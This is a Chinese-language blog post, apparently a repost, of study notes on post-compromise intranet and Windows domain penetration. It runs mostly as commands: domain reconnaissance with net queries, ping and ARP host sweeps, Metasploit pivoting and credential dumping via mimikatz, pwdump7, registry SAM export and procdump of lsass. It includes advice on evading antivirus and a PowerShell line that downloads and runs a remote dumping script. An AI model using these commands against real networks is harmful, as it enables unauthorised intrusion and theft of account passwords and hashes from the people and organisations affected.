1.我所了解的内网渗透


最近看了一点内网渗透的学习资料,感觉内网渗透需要的知识太多,遂写博客来记录下自己学习内网渗透的一些笔记。

开篇首先推荐i春秋陈小兵老师在技术沙龙上的分享:https://www.ichunqiu.com/open/61711

并看大佬的一篇msf内网穿透文章:https://www.freebuf.com/articles/network/125278.html

其中内网渗透常见的几个问题:

 

1.防火墙穿透 
2.木马免杀穿透
3.内网信息收集及目标定位
4.关于文件下载

而内网渗透也分为 域渗透 与 工作组渗透

域渗透:

1.域信息收集 
2.获取域权限 
3.dump域hash 
4.内网权限维持

工作组渗透:

1.常规内网渗透 
2.各种欺骗攻击

如果非要说内网渗透的思路:

1.内网环境下先查看网络架构。例如 网段信息 域控 DNS服务器 时间服务器 
2.收集到了足够多的信息可以扫一下开放端口 21 22 80 8080 443等确定敏感信息,以及之后渗透的方向 
3.通过以上信息进行一定的弱口令尝试,针对特定的软件做banner采集利用,snmp测试读取和写入权限 
4.进行一些提权操作,从横向和纵向对目标服务器进行渗透。
5.进行敏感信息挖掘,内网密码收集嗅探,同时擦出入侵足迹。

内网渗透在我感觉一种是拿下内网一台主机权限,外网端口转发或者协议代理进内网,或者通过vpn连接进入内网,另一种是通过物理方法连入内网,比如通过网线,wifi热点进入内网等。不过最终的目的一样,只是连接过程不同,第一种比第二种要多一个”桥梁“。

如何拿下一个网站权限,这里不再多说,各有各的运气,各有各的技术。

具体的端口转发与协议代理可以看我上一篇文章:https://www.cnblogs.com/bmjoker/p/10264148.html

这里主要学习得到一台主机权限后,如何在主机所在内网翻出更大的浪花。

-----------------------------------

博主在本地搭建了域环境:

DC:windows2008  192.168.0.108

DM:windows2003 192.168.0.107

DM:windows xp  192.168.0.105


1|01 域信息收集

1|11.内网信息探测常用命令

1|22.网络环境的判断

1|33.内网存活主机探测

1|44.hash与明文

---------------------------

1.内网信息探测常用命令

拿下一台内网机器,首先要定位内网机器的架构。

收集基本信息:

ipconfig /all                ------ 查询本机IP段,所在域等
net user                     ------ 本机用户列表
net localgroup administrators            ------ 本机管理员[通常含有域用户]
net user /domain                         ------ 查询域用户
net group /domain                        ------ 查询域里面的工作组
net group "domain admins" /domain        ------ 查询域管理员用户组
net localgroup administrators /domain    ------ 登录本机的域管理员
net localgroup administrators workgroup\user001 /add   ------域用户添加到本机
net group "domain controllers" /domain        ------ 查看域控制器(如果有多台)
net time /domain                   ------ 判断主域,主域服务器都做时间服务器
net config workstation             ------ 当前登录域
net session                        ------ 查看当前会话
net use \\ip\ipc$ pawword /user:username      ------ 建立IPC会话[空连接-***]
net share                          ------  查看SMB指向的路径[即共享]
net view                           ------ 查询同一域内机器列表
net view \\ip                      ------ 查询某IP共享
net view /domain                   ------ 查询域列表
net view /domain:domainname        ------ 查看workgroup域中计算机列表
net start                          ------ 查看当前运行的服务
net accounts                       ------  查看本地密码策略
net accounts /domain               ------  查看域密码策略
nbtstat –A ip                      ------netbios 查询
netstat –an/ano/anb                ------ 网络连接查询
route print                        ------ 路由表tasklist /V                        ----- 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V             ----- 查看远程计算机进程列表
qprocess *                         ----- 类似tasklist
qprocess /SERVER:IP                ----- 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com          ----- 查看邮件服务器
whoami /all                        ----- 查询当前用户权限等
set                                ----- 查看系统环境变量
systeminfo                         ----- 查看系统信息
qwinsta                            ----- 查看登录情况
qwinsta /SERVER:IP                 ----- 查看远程登录情况
fsutil fsinfo drives               ----- 查看所有盘符
gpupdate /force                    ----- 更新域策略cmdkey /l                          ----- 看是否保存了登陆凭证。(攻击者会先查看管理员是否保留了登陆凭证,方便后续的凭证抓取。)  echo %logonserver%                 ----- 查看登陆域

 这里有一个特殊的用户叫做krbtgt,该用户是用于Kerberos身份验证的账户,获得了该用户的hash,就可以伪造票据传递攻击

2.网络环境的判断

1.机器所处位置区域的判断;

2.机器在内网中角色的判断;

3.进出口流量是否连通的判断,是否出的去,进得来

-------------------------------------

(1) 位置的判断

位置判断是指机器处于网络拓扑中的某个区域,是在DMZ区,办公网,还是核心区,核心DB等多个位置,当然这里的区域并不是绝对的,只是大概的一个环境,不同的地方网络环境不一样,区域的界限也不一定明显。

(2) 角色的判断

机器角色的判断指判断已经控制的机器是普通Web服务器、开发测试服务器、公共服务器、文件服务器还是代理服务器、DNS服务器、存储服务器等等。具体的判断是通过对机器内的主机名、文件、网络连接等多种情况进行综合判断的。

(3)连通性的判断

出口流量是否连通的判断指机器是否能上外网这些,要综合判断协议(tcp\http\dns\icmp等协议)与端口(常见能出去的端口有80,8080,443,53,110,123等)。在这里还有一种是网络内网设置了代理服务器的情况,攻击者通常会查看环境变量set,主机名是否有proxy字样的机器,注册表是否有写明代理地址或指定pac代理文件等。

3.内网存活主机探测

icmp扫描

基于icmp的各种内网主机发现方式,如果防火墙过滤的icmp请求,这种方式基本就废了,但是基本上都不会过滤icmp协议的请求。除了本身自带的命令,也可以考虑使用第三方程序,比如cping。

在windows下使用icmp扫描

  • cmd中执行如下命令,对整个C段进行ping扫描

 

cmd回显:   for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1 | find /i "ttl"导出成文本: @for /l %i in (1,1,255) do @ping -n 1 -w 40 192.168.0.%i & if errorlevel 1 (echo 192.168.0.%i>>c:\a.txt) else (echo 192.168.0.%i >>c:\b.txt)

 

  • 利用powershell对目标内网进行icmp扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.0.1 -EndAddress 192.168.0.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000" 目标网段,并非仅限C段,比如你也可以写成这种方式`192.168.0.1 - 192.168.0.254`

 windows 2003与windows xp需要安装powershell1.0:官方下载地址

 关于powershell在内网渗透中的作用,请看下一篇文章,这里不再细说。

在linux下使用各类icmp扫描

  • shell中执行linux脚本进行扫描
#!/bin/bash
for ip in 192.168.0.{1..254} 
do 
    ping $ip -c 1 &> /dev/null 
        if [ $? -eq 0 ];then 
            echo $ip is alive .... 
        fi 
done

 或者

for i in 192.168.0.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done
  • nmap的icmp扫描
nmap -sn -PE 192.168.0.1/24

如果是物理方法连接内网,可直接进行探测。如果仅有一台内网主机权限,可以作端口转发,感觉比较靠谱的还是配置SOCKS5内网代理,使用proxychains配合nmap使用,或者使用msf中的模块先挂内网代理,使用scanner模块进行扫描,或者把内网已getshell的机器配置成跳板机,来借力打力。

arp扫描

在windows下使用arp扫描:

  • arpscan工具扫描
start /b arpscan.exe -t 192.168.0.1/24 >> result.txt

arpscan.exe下载地址:https://www.2cto.com/soft/201001/16987.html#download

所需dll文件:https://cn.dll-files.com

  • powershell调用arpscan扫描
powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.1.0/24"  >> result.txt

在linux下使用arp扫描:

  • nmap的arp扫描
nmap -sn -PR 192.168.0.1/24  尝试arp扫描
  • netdiscover扫描
netdiscover -r 192.168.0.1/24 -i eth0
  • msf的arp扫描模块
msf > use  auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set  interface eth0
msf > set  smac 00:0c:29:92:fd:85
msf > set  rhosts 192.168.0.1/24
msf > set  threads 20
msf > set  shost 192.168.0.133 (伪造源ip)
msf > run
  • msf获取一个shell
meterpreter > getsystem     另外,在目标机器上扫描时,务必先提权(个人建议,会方便很多),不然扫描过程中可能会有些问题
meterpreter > run autoroute -s 192.168.0.1/24  (添加路由)
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.0.1/24meterpreter > run 

基于smb和netbios的内网主机发现方式

windows下nbt扫描:

nbtscan.exe -m 192.168.0.1/24 非常经典的小工具

nbtscan.exe工具下载地址:http://www.unixwiz.net/tools/nbtscan.html#download

linux下nbt扫描:

nbtscan.exe -r 192.168.0.1/24

域内扫描

net view dsquery computer 其实,域内最好用的也就是nbtscan了

如果计算机名很多的时候,可以利用bat批量ping获取ip

 
 
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k  %%j)
)
)

4.hash与明文

抓取hash最好的工具莫过于mimikatz,不过免杀是个问题。

从 sam 数据库中提取目标系统本地用户密码 hash

  • 在线读取sam数据库

(1) 使用mimikatz提取系统hash与明

privilege::debug
token::elevate
lsadump::samsekurlsa::logonPasswords  (获取明文用户口令)

破解出的NTLM可以尝试CMD5破解:

或者尝试 ophcrack 破解:https://www.objectif-securite.ch/ophcrack.php

简单密码可以直接明文显示

(2) 使用pwdump7提取系统密码hash

下载地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip

需要管理员权限执行:

可以看到已经提取出hash

(3) 使用powershell脚本提取hash

hash脚本下载地址:https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1

管理员权限执行powershell命令

powershell -ep bypass -f Invoke-PowerDump.ps1
  • 离线读取 sam 数据库

获取当前系统的 sam 数据库文件,在另一个系统下读取

导出 sam 数据库文件有以下两种实现方法:

(1) 保存注册表

管理员权限,利用 reg 将 sam,system和 security文件导出来,并保存在本地:

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY sercrity.hiv
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv /sercrity:sercrity.hiv" exit

可以看到已提取出hash

参考链接:通过SAM数据库获得本地用户hash

通过 dump lsass.exe 进程数据离线免杀抓取明文

(1) 通过procdump.exe提取出明文

procdump.exe工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

有时遇到杀软,直接在目标机器上抓取密码可能会被杀,这时可以先利用 procdump 把 lsass.exe 进程中的数据导出到指定文件中,再把导出的文件下回到本地用 mimikatz 读取文件中的密码hash,以实现免杀效果,不过需要注意的是,本地读取文件的系统平台和目标的系统需要完全一致。

先在目标机器上执行:

32位机器:procdump.exe -accepteula -ma lsass.exe lsass.dmp 
64位机器:procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

本地使用mimikatz读取文件中的密码hash

mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full

可以看到已经提取出系统中的hash与明文

(2) powershell调用dump脚本

# Public>powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1');"Get-Process lsass | Out-Minidump"
或者本机执行
# Public>powershell –exec bypass –Command "& {Import-Module 'C:\Users\Public\Out-Minidump.ps1'; Get-Process lsass | Out-Minidump}"

关于windows10/2012r2 以后系统的明文密码抓取方式

在windows10/2012r2 之后的系统版本中,默认情况下是禁用了在内存缓存中存储系统用户明文密码,此时使用mimikatz去抓取密码,会显示null。

解决方法为:修改注册表 ---> 抓取windows server 2012 & 2016 & win8明文密码


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM